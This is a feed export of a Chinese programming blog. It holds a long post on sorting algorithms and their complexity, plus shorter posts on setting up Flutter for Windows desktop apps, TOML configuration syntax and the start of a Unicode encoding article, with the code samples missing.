第一个优化点是原版冒泡即便在数据完全有序的情况下依然会去进行比较,所以当一趟循环完后如果发现数据是有序的应该可以直接退出,这是减少外层循环的次数。由于冒泡排序每轮会冒泡一个有序的数据到右边去,所以每轮循环后都会缩小冒泡的范围,假设数据右边已经是有序的了,那么这种操作就可以提前,而不需要等到指定循环次数之后才缩小范围,比如下面这种数据

+

这个范围的边界实际上就是上一轮循环最后一次发生交换的下标,这是减少了内循环次数。这里提一嘴使用位运算也可以实现数字交换,算是第三个优化点,但仅限于整数类型。优化后的代码如下

+

优化只能提高冒泡的平均时间效率,在最差情况下,也就是数据完全逆序/升序的时候,对其进行升序/逆序排序,渐进时间复杂度依旧是O(n^2)。

+

提升并不是特别明显,因为数据是完全随机的,可能很多生成的数据并没有走到优化点上,这也变相证明了冒泡排序不太适合实际使用。

+

选择排序

+

选择排序的思路非常的清晰和容易实现,将数组分为两部分,一部分有序,一部分无序,首先在数组的未排序部分找出其中的最大或最小值,也就是然后将最大值或最小值其与数组的中的第i个元素交换位置。第一个交换的一定是第一大或第一小的元素,第二个就是第二大或第二小的元素,这样一来就确认了有序的部分,如此在未排序的部分循环往复,直到整个数组有序。比如

+

此时整个数组都是无序的,找出其最小值-1,与第一个元素交换位置

+

此时只剩[1,4,2]是未排序部分,继续找最小值,得到1,那么它就是第二小的元素,就将其与第二个元素交换位置,由于它本身就在第二个位置上所以没变化。

+

继续按照这个流程,就能将数据最终变得有序。具体代码实现如下

+

时间复杂度:O(n^2)

+

不管在什么情况,在选择排序的过程中,它都会在每轮循环后的未排序部分去比较寻找最大值,所以比较次数为(n-1)+(n-2)+(n-3)....+1差不多就是(n2+n)/2,所以其时间复杂度为O(n2)。

+

空间复杂度:O(1)

+

排序过程中没有用到任何的额外空间来辅助,所以时间复杂度为O(1)。

+

稳定性:否

+

在交换的过程中它们的位置会发生改变,但也不会被调整回来,所以是不稳定的。看一个例子

+

第一轮交换第一个6会和0交换位置,就变成了

+

本来是在第二个6前面的现在到后面来了,相对位置发生改变了,即便整个数组完成排序后也不会再被调整。

+

性能测试

+

可以看到的是选择排序在10w数据量时选择排序花费的时间是冒泡的一半左右,这是因为冒泡每轮循环交换的次数比较多,而选择排序每轮循环只交换一次,总体上从时间来说是优于冒泡排序的。

+

优化

+

原版选择排序只会在切片的左边构建有序部分,在右边无序的部分去寻找最大或最小值,既然反正都是在无序部分寻找最大/最小值,那就可以在切片左右两边都构建有序区,假设是升序排序,左边是最小,右边是最大,中间就是无序区,这样一来就可以减少差不多一半的比较次数。优化后的代码如下

+

这样一来,这样一来只需要看一边的比较次数就够了,不严谨的来说就是(n/2-1)+(n/2-2)+(n/2-3)...,最后时间复杂度依旧是O(n^2),不过优化的时间效率上会有所提升。

+

通过数据对比可以看到,在时间效率上大概提升了接近10-20%左右。

+

插入排序

+

插入排序也是一种比较简单的排序方法,其基本思路为:假设0 ...i的元素已经有序,使用s[i+1]逆向与前i+1个元素进行逐个比较,如果在比较过程中第j个元素比第i+1个元素小/大,那么将其后移,如此循环往复,直到找到第一个大于/小于s[i+1]下标元素的元素时或者下标为0时,考虑到比s[i]小/大的元素都已经后移了,所以直接s[i]的值覆盖到s[j+1]上。

+

时间复杂度:O(n^2)

+

如果是要升序排列,在最好情况下,要排序的切片已经是完全升序的了,那么只需要进行n-1次比较操作。最坏情况就是完全降序,那么就需要n+(n-1)+(n-2)+......+1次比较,总共就是(n^2+n)/2次。

+

空间复杂度:O(1)

+

整个过程中未用到额外的辅助空间

+

稳定性:是

+

遇到相等元素时便插入到该元素后面,不会出现跑到它前面的情况。

+

性能测试

+

优化

+

插入排序的优化方案很容易想到,假设是升序排列,在确保前n个元素已经是有序的情况下,我们需要去一个个遍历找到第一个小于s[n+1]的元素,既然它是有序的,那就可以使用二分查找来进行操作,然后再移动元素。移动次数没有减少,但比较次数减少了相当的多。优化后的代码如下

+

看看优化后的性能

+

可以看到使用了二分的插入排序性能整整比原版提升了足足有70-80%左右,这已经是非常巨大的提升了。在最好的情况下,如果切片本身就是全部有序的话,就不需要移动元素,那么就只有查找会消耗时间,这样一来它的时间复杂度可以接近O(nlogn)。在最差的情况,每次都需要移动i-1个元素,那么就是(log(n-1)+n-1)+(log(n-2)+n-2)+(log(n-3)+n-3)....,当n足够大时,logn产生的影响已经微不足道了,虽然没有经过严格的计算,但简单估算下它的时间复杂度依旧不会小于O(n^2)。

+

不过值得高兴的是,到目前为止总算有一个方法能够有突破O(n^2)的可能性。

+

希尔排序

+

希尔排序是插入排序的一个更加高效的优化版本,也称递减增量排序。原版插入排序在数据本身是有序的情况下效率会非常高可以达到O(n),希尔排序的改进思路也是基于此,它在移动和比较时,不再是一个一个移动,而是有了间隔称之为步长。比如下面这个序列

+

假设初始步长为3,那么就将数据划分为了三份

+

分别对每一份进行插入排序后得到下面的序列,将其拼接再一起,然后再以步长为2进行划分

+

此时再拼接回来

+

可以发现整体已经接近基本有序的状态了,在这种情况下,步长再减为1就是原版插入排序了,在数据大多数有序的情况下,插入排序的时间复杂度可以接近O(n)。希尔排序的关键就在于,如何选择这个步长序列,步长序列的不同会导致希尔排序的时间复杂度也不同,在某些情况下它可能根本不会起作用。比如下面这个数据,步长的选择是每次折半,会根本发现不会起到任何优化的作用,反而还不如直接进行插入排序,因为无意义的步长划分导致它甚至比原始的插入排序还增加了额外的耗时,要更加的低效率。

+

最简单的步长序列就是每次对半分,这也是希尔本人提出的,这种也最容易实现,当然也最容易出现上面那个问题。

+

当最坏情况下,也是上面那个例子的情况下,划分步长没有任何的意义,这就退化成了原始的插入排序,其最差时间复杂度依旧是O(n^2)。为了避免这种情况,就需要仔细斟酌步长序列的选择,最基本的原则就是序列之间的元素得互为质数,如果可以互为因子的话就可能会出现对已经排过序的集合再一次排序这种情况,导致无意义的消耗。

+

希尔排序首次提出是在上世纪六十年代,现如今已经有了非常多的序列可选,下面介绍比较常见的两个:

+
    +
  • Hibbard序列,最差时间复杂度O(n(3/2))
  • +
  • Sedgewick序列,最差时间复杂度O(n(4/3)),目前最优序列?
  • +
+

还有其它非常多的序列,前往:Shellsort - Wikipedia了解更多(注意必须是英文维基,中文根本没有这么详细的介绍)。Hibbard实现代码如下,步长序列采用打表的方式记录,不需要每次都来计算步长序列。步长序列本身计算非常简单,难的是求证过程,笔者受限于数学水平,无法在此做出解答。由于序列的增长本身就是次方级别,当增长到数值溢出时的上一个步长就是最大步长了,这样就可以得到一个对于任意长度的切片都适用的步长序列。

+
+

对于Sedgewick序列,则有如下两个公式

+
+

第二个公式要分奇偶情况,这里选择第一个公式,依旧选择打表实现。

+

性能测试

+

下面是一个简单的性能测试对比

+

可以看到的是Sedgewick步长序列在时间效率上有着较为明显的提升,Hibbard则不太明显。

+

堆排序

+

堆排序是利用堆这个数据结构对数据进行排序,堆的特点是可以在构建完毕后以O(1)的时间找到最大或最小值。堆有很多种实现,最简单也是最常见的实现就是二项堆,其类似一个完全二叉树,不过是以数组形式呈现的,这时下标呈现一个规律,对于一个下标i的元素

+
    +
  • 其父节点的下标:i/2-1
  • +
  • 其左子节点的下标:i*2+1
  • +
  • 其右子节点的下标:i*2+2
  • +
+

如果是升序排序,就构建大顶堆,反之构建小顶堆。

+

这里以升序为例,父节点与子节点进行比较,如果比子节点小就交换双方位置,交换后继续向下比较,直到遇到第一个比父节点更小的子节点,或者没有子节点了才停止,这个过程被称为下沉。对于一个切片而言,它的最后一个子树的根节点位置位于len(s)/2 -1,逆序遍历每一个子树根节点,对其进行下沉操作。在构建完毕后,此时堆顶的元素一定的最大的那一个,将其与切片中最后一个元素交换,然后再次对堆顶元素进行下沉操作,此时下沉范围不包括最后一个元素,因为已经确定了它是最大值。第二次下沉可以确认堆顶的元素是第二大的,将其与在切片的倒数第二下标的元素交换,然后下沉范围减一,继续第三次下沉,如此循环往复,每次下沉都能找到第k大的元素,最终整个切片都会有序。

+

时间复杂度:O(nlogn)

+

堆排序总共分为两步,第一步构建堆,由于是自底向上构建,如果一个高度为h的子树已经是堆了,那么高度为h+1的子树进行调整的话最多也只需要h步,构建堆的过程的时间复杂度可以是O(n),详细证明过程可以看:Build Binary heap - Wikipedia。在下沉的过程中,对于一个高度为h的完全二叉树而言,最多需要比较h-1次,而高度h就等于log2(n+1),总共下沉n-1次,其时间复杂度就近似为O(nlogn),并且不管在任何情况都是O(nlogn),不会受到数据的影响。

+

空间复杂度:O(1)

+

过程中没有用到任何的额外辅助空间

+

稳定性:否

+

在排序过程中,需要不断的将堆顶元素放交换到数组末尾,这一过程会破掉坏相等元素的相对位置。

+

性能测试

+

可以看到的是,在10w数据量的情况下,堆排序只需要1秒多一点。

+

归并排序

+

归并排序是分治思想的一个体现,1945年由约翰.冯.诺依曼首次提出。它的思路理解起来非常简单,看一个例子,现有如下数据

+

首先是分隔操作,将其分成两份

+

在两份的基础之上对半分

+

此时已经没法再分了,可以直接调整每一份内的顺序,由于只有两个数,只需要简单交换下,现在每一小份的数据内部都是有序的

+

接下来就是合并操作,先将其合并为2份,在合并的过程中,可以创建一个临时数组来保存结果,比如合并 0 6 || 2 10,第一步0比2小,所以先写入0

+

第二步,6比2大,所以写入2

+

第三步6比10小,所以写入6,最后写入10。

+

由于每小份内部都是有序的,在合并的时候只需要依次比较元素就可以得到更大的有序的部分,合并成两份数据如下

+

最终延续之前的操作,将其合并为一份,就可以得到排序后的数组。这个过程就是分治的过程,一整个数组不好排序,就将其分为更小的数组,直到不能再分,排序好后再不断合并为更大的有序数组,直到完成排序。这种方式天然适合递归来实现,当然也可以使用迭代来实现,只不过后者要自行模拟栈的行为,较为麻烦。

+ +

递归的优点就是简单易懂,如果数据过大,可能会爆栈,而迭代的优点就是可以避免递归栈空间的开销,是真正意义上的O(n)空间,建议使用迭代法。

+

时间复杂度:O(nlogn)

+

拿迭代法举例分析,最外层循环每次都会乘2,可以确定是log2^n次,内层循环每次移动一个步长,然后在遍历步长范围内的元素,内循环总的遍历次数就是n次,内外总的时间复杂度就是O(nlogn)。归并排序和堆排序一样,不受数据的影响,始终都是O(nlogn)。

+

空间复杂度:O(n)

+

用到了一个临时数组来保存每一轮合并结果

+

稳定性:是

+

性能测试

+

下面是迭代和递归法两个一起测试的结果

+

从时间效率上来看,迭代法总体是要优于递归法的,大概提升了10%-25%左右的时间效率。

+

快速排序

+

快速排序,又称分区交换排序,也用到了分治的思想,由英国计算机科学家东尼.霍尔在1959年提出。它的平均时间复杂度是O(nlogn),最差是O(n^2),尽管如此,在对随机数据的排序效果上,尤其是大量的随机数据,其时间效率的表现比归并排序和堆排序更好一些。

+

下面介绍一下快排的实现思路:假设有如下数据且是升序排序,总共有10个数字,快排的思路中也需要分治,不过它的方法不会像归并排序一样直接对半分,而是会选取一个基准值,将数组划分成两部分,左半边的部分都比这个基准值小,右半边的部分都比这个基准值大,具体的划分思路如下。

+

这里为了简单演示,选择5作为基准值,然后有左右两端两个指针指向最左和最右,左指针从左往右扫描,遇到比基准值大的元素停下来,右指针从右往左扫描,遇到比基准值小的元素停下来,下面用i表示左指针,j表示右指针。右边先开始扫描,遇到比基准值小的元素就停下,j停在了0所在的位置。

+

将j所指向的元素的值赋给i所指向的元素

+

然后左边开始扫描,遇到比基准值大的元素就停下,然后将i所指向元素的值赋给j所指向的元素

+

再然后j继续从右边开始扫描,遇到2停下,将其赋值给i所指向的元素,如此循环往复,直到两指针相遇

+

相遇过后,此时i和j的位置,就是基准值在这个数组中排序后对应的位置,将基准值赋值到相遇位置上的元素

+

此时可以发现,基准值5右边的所有数字都大于5,左边的数字全都小于5 ,说明在升序排序的情况下,数字5的下标就位于下标3,至此数字5的位置确定了,每一轮扫描都可以确定一个数字在数组中排序后的位置,接下来就是将数组分为两部分,0-2和4-9,再次对子数组进行相同的操作,直到不可再分。

+

另一点需要注意的是,如果基准值的选取默认选择在最左边的元素,那么在扫描的时候就需要右边先开始。如果从左边开始,那么左指针i扫描结束后会覆盖j所指向的值,但此处j指向的是最右边的值,把它覆盖过后这个值就丢失了。看下面一个例子,当第一次左指针i扫描完成后两个指针分别指向7和10

+

此时i会将7赋值给j所指向的元素,也就是将10覆盖为7

+

然后问题就出现了,10这个数字就不见了,当从右边先开始时,j所覆盖的第一个元素一定是最左边的基准值,因为基准值是单独记录的,所以不存在丢失的问题。同理,基准值取最右边的元素时,就需要左指针先动。考虑一种情况,如果基准值恰好是所有数字中最小的,就像下面的数据一样。

+

由于总是右指针先开始,且基准值已经是最小的了,右指针会移动到1与左指针相遇然后停下,然后子数组被分成了[0,-1]和[1,5],只产生了一个有效的子数组,后面的每一次递归都是这种情况,第一层递归比较n-1次,第二层递归比较n-2次,第三层比较n-3次,总共会产生n-1次而不是log2n次递归调用,这样一来它的时间复杂度实际上就变成了O(n2)。

+

上面介绍的这个分区方法叫霍尔分区法,在其它教材比如《算法导论》以及英文wiki中介绍的一般是洛穆托分区法,它的代码实现更简单,比较适合用作教学。它的思路可以参考下面这个例子,选取基准值取最右边的元素5,然后有ij两个分别指针指向-10,它们的移动方向都是从左到右,并非左右双向指针。

+

j先开始扫描,遇到比基准值小的元素停下来,然后i向后移动一位,再交换ij所指向的元素,如此循环往复,直到j移动到最右边

+

扫描结束后,i此时指向的是最后一个小于基准值的数字,所以将i向后移动一位指向8

+

然后i,j指向的元素互换

+

此时基准值就被放到了正确的位置上来了,洛穆托分区法跟冒泡很相似,只不过它不会像冒泡一样逐个交换,而是跳跃式的,在最坏情况下,洛穆托分区法的时间复杂度也是O(n^2)。假设升序排序且洛穆托分区法基准值取的是左边,那么两个指针就要从右往左移,比较规则也要从小于换成大于。

+

代码实现

+ +

时间复杂度:O(nlogn)

+

每一趟扫描的时间复杂度是O(n),总共扫描log2^n次,所以总的时间复杂度是O(nlogn)。

+

空间复杂度:O(logn)

+

它在代码方面确实没有额外的空间,但在有些书籍中会将递归的栈空间也算入空间复杂度中,也就是O(logn),在上面介绍的最坏的情况下,它的空间复杂度可以达到O(n)。

+

性能测试

+

两种分区法并没有特别明显的性能差距,但理论上来讲,洛穆托分区法的交换次数是是霍尔分区法的三倍(证明过程可以前往hoare vs lomuto了解细节)。

+

优化

+

上面的快排实现中,在10w数据量的情况下要88ms,同样情况下堆排序和归并排序只需要其十分之一的耗时,显然如此简单的快排实现是不足以应用到实际使用中的,必须对其进行优化。

+

优化点1

+

基准值如果是数组中的中位数,就可以做到较为均匀的划分子数组,避免出现取到最小最大值作为基准值的情况,但是取中位数是需要耗费额外的性能,常见的做法是将数组中左右端点和中间位置的三值间的中值作为基准值。

+

还有另一个方法就是随机选取。

+

优化点2

+

对于小数组而言,没有必要再用快排继续进行分区递归了,可以使用其它更为简单排序算法来代替,例如C++STL中的排序会在长度小于16时采用插入排序,因为插入排序对于小规模数据比冒泡和选择都更快,并且实现也很简单,转换的临界点也一般在5-16之间。

+

优化点3

+

如果含有大量的重复元素,时间复杂度仍然可能会恶化成平方级别。优化方法是使用三路快排,其思想是在单趟排序时将数组划分为三个部分,左边是小于基准值的部分,中间是等于基准值的部分,右边是大于基准值的部分,在后续的排序中,我们只需要处理小于和大于的部分,中间的可以完全不用管,三路快排对于处理有大量重复元素的数组很有效。

+

[l, lt-1]表示小于基准值的范围,[gt, r]表示大于基准值的范围,[lt, i]就是等于基准值的范围。举一个例子,如下图

+
+

我们的任务是将小于基准值的移动到数组左边,大于基准值的移动到右边,所以i不断遍历数组。当i指向的元素小于基准值时,右移lt一位

+
+

此时i指向元素2,等于基准值于是跳过

+
+

现在i指向的值是3,大于基准值,gt指针左移并和i所指的元素进行交换。

+
+

但交换后的值仍然大于基准值于是继续移动gt指针然后再交换。

+
+

此时的i指向了2,与基准值相同则继续移动,直到等于gt。最后再将基准值归位,即ltpivot交换位置。

+
+

至此,区间的划分已经完毕,接下来在进行递归时我们只需要关注左右两个区间即可,中间的就可以忽略掉,这样就起到了优化大量重复元素d

+

计数排序

+

计数排序是一种线性时间的排序算法,并且是非比较排序,虽然它可以达到线性时间复杂度,但对使用的数据有一定的要求:数据之间的差值不能有太大,并且会使用额外的辅助空间。它的实现思路如下,首先统计数据中的最小最大值,然后使用一个长度为max-min+1的数组来记录每一个数据的个数,对于计数数组,下标i就等于数据的值,这样一来通过计数数组,天然的就能将其排序,然后反向遍历计数数组根据数量填充原数组。由于数据的限制,该排序方法不太好通过泛型来实现。

+

时间复杂度:O(n+k)

+

寻找最大最小值时花费O(n),k是最大值和最小值的差值,在计数后写入原数组时,至少会循环k次,所以时间复杂度O(n+k)。当k值远大于O(nlogn)时,说明就不适合使用计数排序来对数据进行排序。

+

空间复杂度:O(k)

+

这里用到了counts数组来存放数量信息,花费空间O(k)。我看到网上很多其它实现都会用一个临时数组来存储结果再复制到目标数组中去,这样一来空间复杂度就变成了O(n+k),不太明白这样做的意义是什么。

+

稳定性:是

+

正序读,逆序写保证了相等数据的相对位置。

+

性能测试

+

计数排序是用在特定场景的排序方法,不适合随机数据排序,下面的测试用例中的生成数据中的最大差值在1w以内。

+

可以看到的是即便是数据量来到了10w级别,也没有出现较大的增幅。

+

基数排序

+

基数排序同计数排序一样,是非比较排序,同样只适用于特殊场景,不适合普遍的随机数据排序。它的排序思路是根据数据的位数来决定,可以从高位到低位,也可以从低位到高位。这里以以低位到高位举例,比较好理解。现有如下数据,低位数据自动补零方便理解。

+

首先将其按照个位的大小排序,得到下面的序列

+

在其基础之上根据十位排序得到下面的序列

+

在其基础知识根据百位排序

+

最终得到有序的数组,基数排序的思路非常简单明了容易理解,代码实现如下

+

可以看到的是在过程中,每一轮的排序方式其实就是计数排序变种,每一个位上的差值最大也就只有9,所以count数组长度也就是固定的10。计数分配好后,因为在这里分配的下标不代表实际的值,所以要累加每一个计数的值,这样就能得到它们排序后的位置。后面就是将其写入临时数组,再复制到原数组中。

+

时间复杂度:O(kn)

+

k的最大值的位数,也决定了外层循环的次数,每一次外循环花费的时间是O(n),总共就是O(nk)。

+

空间复杂度:O(n+k)

+

用到了一个长度为n的临时数组用于存放每轮排序结果,和一个计数数组。

+

稳定性:是

+

跟计数一样,正序读,逆序写保证了相等数据的相对位置。

+

性能测试

+

这里生成的随机数据只包含正整数,10w数据量的情况下只需要7ms,指的是注意的是,基数的选择不止是10进制还可以是十六进制,八进制,二机制,每个进制的基数范围不同。那么为什么它的性能相当优秀但使用没有快排广泛,思考下总共有几点:

+
    +
  1. 不太好抽象,适用面窄,比如这个基数排序的例子我都是用int来写的,很难用泛型实现,如果是结构体类型,那么它的特征值可能是浮点数,字符串,或者是负数,甚至是复数,这些类型很对基数进行分解,也就谈不上排序。
  2. +
  3. 第二点就是额外的O(n)空间。
  4. +
+

桶排序

+]]>
+ +
+ + Flutter在windows桌面软件开发 + https://246859.github.io/my-blog-giscus/posts/code/daily/fluttertry.html + https://246859.github.io/my-blog-giscus/posts/code/daily/fluttertry.html + Flutter在windows桌面软件开发 + Flutter在windows桌面软件开发 + 技术日志 + 每日发现 + Sat, 29 Jul 2023 00:00:00 GMT + Flutter在windows桌面软件开发 +
+ +
+

最近打算试一试桌面软件的开发,苦于没有QT基础,并且go的GUI生态太拉跨了。后来在网上了解到Flutter,现在已经可以稳定开发windows桌面软件了,结合Dart进行开发,而且性能相当的可以,于是本文记录一下flutter的尝试。

+

Flutter官网:Flutter: 为所有屏幕创造精彩 - Flutter 中文开发者网站 - Flutter

+

Flutter文档:Flutter 开发文档 - Flutter 中文文档 - Flutter 中文开发者网站 - Flutter

+

Flutter安装:安装和环境配置 - Flutter 中文文档 - Flutter 中文开发者网站 - Flutter

+

安装

+

第一件事是下载flutter,由于是谷歌开源的,部分网页需要魔法上网。

+
+

下载下来后就是一个压缩包,Flutter SDK是包含了完整的Dart SDK,解压到自己想要的位置后将bin目录添加到系统变量中。

+

换源

+

安装完成后,需要配置一下镜像源,因为flutter服务需要下载一些东西,默认配置的话国内网络多半是下载不了的。

+

清华源:flutter | 镜像站使用帮助 | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror

+

可以使用清华镜像源,将以下几个替换掉

+

或者也可以手动去设置上面三个环境变量。

+ +

检查依赖

+

Flutter的跨平台构建应用是需要依赖其他的一些软件的,windows桌面软件开发需要依赖微软的vs,app的话需要Android Studio,这里只安装vs。

+

vs安装:安装 Visual Studio | Microsoft Learn

+

vs安装好后,执行

+

可以看到我并没有安装安卓工具链,这里安装的是最新版flutter 3.10.6,正式版从2.0开始就稳定支持windows了。

+

Hello World

+

使用命令创建项目,过程中需要下载东西,要等一会儿,如果前面的镜像配置好了的话是不需要等多久的。

+

然后运行demo

+

选择要运行的类型

+

这里有web和windows可选,都可以试一试

+
windows桌面软件
windows桌面软件
+
web
web
+

体验

+

整个过程的初体验还是很不错的,没有深入了解的情况下不太好评价其他地方。在打开web的时候发现整个界面不是传统的html元素,相当于是flutter自己渲染的一套canvas,只能说有点东西。

+
+

等到后面学习的足够深入了再回头做一个系统点的评价。

+]]>
+ +
+ + TOML + https://246859.github.io/my-blog-giscus/posts/code/daily/toml.html + https://246859.github.io/my-blog-giscus/posts/code/daily/toml.html + TOML + TOML 为人类而生的配置文件格式 + 技术日志 + 每日发现 + Wed, 16 Aug 2023 00:00:00 GMT + TOML +
+

为人类而生的配置文件格式

+ +

官方文档:TOML:Tom 的(语义)明显、(配置)最小化的语言

+

主流的配置文件格式有很多,也有各自的缺点,xmljsonyamliniproperties等等,都有其各自适用的范围与领域,TOML比起其它的格式,风格上更像是ini的拓展,在基本类型方面而言更加简洁和实用,这是一个很大的优点,但是在嵌套类型上,例如嵌套表,嵌套表数组,为了在写法表现上更加简洁,相应的牺牲就是在语义上变得繁琐和不太容易理解。就作者个人而言认为,目前最主流和最适合的配置文件依旧是yaml,不过抱着学习的心态,对于TOML,未尝不可一试。

+

Go中对于TOML支持的依赖:toml - Search Results - Go Packages

+

介绍

+

TOML是由Github创始人所构建的一种语言,这种语言专门为配置文件而生,旨在成为一个语义明显且易于阅读的最小化配置文件格式。TOML 被设计成可以无歧义地映射为哈希表。TOML 应该能很容易地被解析成各种语言中的数据结构。他们的目的就是简洁,简单,语义化,以及为人而生的配置文件格式。

+

TOML非常简单易学,类型丰富,总共支持以下类型:

+
    +
  • 键/值对
  • +
  • 数组
  • +
  • +
  • 内联表
  • +
  • 表数组
  • +
  • 整数 & 浮点数
  • +
  • 字符串
  • +
  • 布尔值
  • +
  • 日期 & 时刻,带可选的时区偏移
  • +
+

并且TOML也已经受到了非常广泛的语言支持,其中就包括Go语言。

+

示例

+

这是一个十分简单的TOML配置,即便没有了解过TOML也能看个大概,一些细节上的问题等阅读本节后就会全部消失了。

+
+

提示

+

TOML官方声称自己还在测试版本,不排除日后语法更改的可能性,但是很多团队已经将其纳入生产环境了,具体如何使用需要由各位自行决定。

+
+

规范

+

TOML的规范特别少,总共就四条:

+
    +
  • TOML 是大小写敏感的 -- 命名时需要注意大小写
  • +
  • TOML 文件必须是合法的 UTF-8 编码的 Unicode 文档 -- 仅支持UTF-8编码
  • +
  • 空白是指制表符(0x09)或空格(0x20)
  • +
  • 换行是指 LF(0x0A)或 CRLF(0x0D 0x0A)
  • +
+

注释

+

TOML的注释与其他大多数配置语言类似,都是通过#来进行标注,允许全行注释与行尾注释。

+

键值对

+

TOML最基本的元素就是键值对,有以下几点需要注意:

+
    +
  • 键名在等号的左边,值在右边
  • +
  • 键名和键值周围的空白会被忽略
  • +
  • 键名,等号,键值,必须在同一行 (有些值可以跨多行)
  • +
  • 键值所允许的类型如下: +
      +
    • 字符串
    • +
    • 整数
    • +
    • 浮点数
    • +
    • 布尔值
    • +
    • 坐标日期时刻
    • +
    • 各地日期时刻
    • +
    • 各地日期
    • +
    • 各地时刻
    • +
    • 数组
    • +
    • 内联表
    • +
    +
  • +
+

示例

+

一个键名必须对应一个键值,不允许空键的存在

+

书写完一行键值对后必须立刻换行

+

键名

+

键名分为裸键引号键,大多数情况下推荐使用裸键。

+

裸键只能包含ASCII字母,ASCII数字,下划线和短横线

+
+

提示

+

虽然裸键允许使用纯数字来作键名,但始终会将键名当作字符串来解析

+
+

引号键的规则与字符串字面量的规则一致,提供对于键名更广泛的使用

+
+

提示

+

裸键是无论如何也不能是空键,但引号键允许空键,不过并不推荐这样做

+
+

通过.使键有了层级结构

+

字符串

+

TOML中的字符串有四种:基本字符串多行字符串字面量多行字面量,所有的字符串都只能包含合法的UTF8-8字符

+

基本字符串由双引号"包裹,几乎所有Unicode字符都可以使用,除了部分需要转义

+

下面是一些常见的转义方法

+
+

提示

+

任何 Unicode 字符都可以用 \uXXXX\UXXXXXXXX 的形式来转义。所有上面未列出的其它转义序列都是保留的,如果用了,TOML 应当产生错误。

+
+

多行基本字符串是由三个引号包裹,允许换行,紧随开头引号的换行会被自动去除

+

解析的结果根据不同的平台会有不同

+

如果只是单纯的想写多行,而不想引入换行符以及其他的空白符,可以在行末使用\来消除空白

+

当一行的最后一个非空白字符串是违背转义的\时,它会将包括自己在内的所有空白字符一齐清除,直到遇见下一个非空白字符或者结束引号为止

+
+

提示

+

也可以在多行基本字符串内的写入一个或两个相连的",同样可以写在开头和结尾

+
+

字面量字符串由单引号包裹,完全不允许转义,多用于书写文件路径,正则表达式等特殊的规则

+

多行字面量'''包裹,同样不允许转义,由于没有转义,书写连续三个'将会解析错误

+

整数

+

整数是纯数字,可以有+- 符号前缀

+

对于一些很长的数字,可以用下划线_来分割以增强可读性,下面以中国人的数字阅读习惯举个例子

+

其它进制

+
+

提示

+

TOML所允许的整数范围是-2^63 - 2^63-1

+
+

浮点数

+

浮点数应当被实现为 IEEE 754 binary64 值

+

小数点前后必须紧邻一个数字

+

也可以使用_来增强可读性

+

特殊浮点值也能够表示,它们是小写的

+

布尔值

+

布尔值只有两种表达,真-true,假-false

+

时区日期时刻

+

RFC 3339格式的日期格式,需要指定特定的时区偏移量,如下所示

+

规范也允许使用空格替换字母T

+

本地日期时刻

+

RFC3339格式的日期时刻省略了日期偏移量,这表示该日期时刻的使用并不涉及时区偏移。在没有其它信息的情况下,并不知道它究竟该被转换成世上的哪一刻,如果仍被要求转换,那结果将取决于实现。

+

日期

+

时刻

+

日期时刻

+
+

提示

+

日期时刻的值如果超出的所实现的精度,多余的部分将会被舍弃

+
+

数组

+

数组是由方括号[]包裹,子元素由逗号分隔,,可以混和不同类型的值。

+

数组内部可以换行,也可以被注释

+

在这之前的所有内容作者都觉得是TOML的优点,而往后的内容,就是TOML所诟病的点了。

+

+

又称为哈希映射表或字典,是键值对的集合。

+

表头由方括号定义[],只作为单独的行出现,其规则与键名一致

+

在定义表头时,可以直接定义子表,而无需先定义父表

+

其下方直到文件结束或者下一个表头为止,都是这个表头的键值对,且并不保证键值对的顺序。

+

顶层表,又被称为根表,于文档开始处开始并在第一个表头(或文件结束处)前结束,不同于其它表,它没有名字且无法后置。

+

点分隔键为最后一个键名前的每个键名创建并定义一个表,倘若这些表尚未被创建的话。

+

说实话TOML在表名重定义这块做的有点繁杂,按照作者的理解是:如果一个表已经被方括号表头形式定义过一次了,那么不能再以方括号形式定义同样的表,且使用点分隔键来再次定义这个表也是不被允许的。倘若一个表是通过点分隔符定义的,那么可以通过方括号表头的形式定义其子表。刚开始看这一坨,确实有点绕。

+

内联表

+

内联表提供了一种更为紧凑的语法来表示表,它们对于分组数据特别有用,否则这些数据很快就会变得冗长,内联表被完整地定义在花括号之中:{}。 括号中,可以出现零或更多个以逗号分隔的键值对,键值对采取与标准表中的键值对相同的形式,什么类型的值都可以,包括内联表。

+

规范

+
    +
  • 内联表得出现在同一行内
  • +
  • 内联表中,最后一对键值对后不允许终逗号(也称为尾逗号)
  • +
  • 不允许花括号中出现任何换行,除非在值中它们合法
  • +
  • 即便如此,也强烈不建议把一个内联表搞成纵跨多行的样子,如果你发现自己真的需要,那意味着你应该使用标准表
  • +
+

上述内联表等同于下面的标准表定义:

+

内联表是完全独立的,在内部定义全部的键与子表,且不能在括号以外的地方,再添加键与子表。

+

同样的,内联表不能被用于向一个已定义的表添加键或子表。

+

表数组

+

可以把表头写在方括号里,表示是一个表数组,按照其出现顺序插入数组。

+

等价于 JSON 的如下结构。

+

任何对表数组的引用,都指向数组里上一个的表元素,允许在表数组内创建子表和子表数组。

+

上述 TOML 等价于 JSON 的如下结构。

+

表数组和子表的定义顺序不能颠倒

+

试图向一个静态定义的数组追加内容,即便数组尚且为空,也会在解析时报错。

+

若试图用已经确定为数组的名称定义表,会在解析时报错。将数组重定义为普通表的行为,也会在解析时报错。

+

拓展名

+

TOML配置文件的拓展名均以.toml为准

+

MIME类型

+

在互联网上传输 TOML 文件时,恰当的 MIME 类型是 application/toml

+]]>
+ +
+ + Unicode字符集及其编码实现 + https://246859.github.io/my-blog-giscus/posts/code/daily/unicode.html + https://246859.github.io/my-blog-giscus/posts/code/daily/unicode.html + Unicode字符集及其编码实现 + Unicode字符集及其编码实现 本文主要介绍Unicode字符集和它的几个实现UTF-8,UTF-16,UTF-32 + 技术日志 + 每日发现 + Thu, 06 Apr 2023 00:00:00 GMT + Unicode字符集及其编码实现 +
+

本文主要介绍Unicode字符集和它的几个实现UTF-8,UTF-16,UTF-32

+ +
+

在日常的写代码过程中,想必或多或少都跟Unicode打过交道,UTF-8,ISO-8859-1,UTF-16等编码出现的次数相当多,例如项目中的配置文件的编码问题,一个人打开可以正常查看并写入了配置,而另一个人打开后看到的就全是乱码,这种问题实际上也只是编码不同而造成的问题类型之一,为了能更好的去解决这类问题,所以就有必要了解相关知识。

+

基本概念

+

在了解本文的内容之前,以下基本概念需要了解。

+

字节

+

一个字节占八个比特位,它是字符大小的基本单位。

+

字符

+

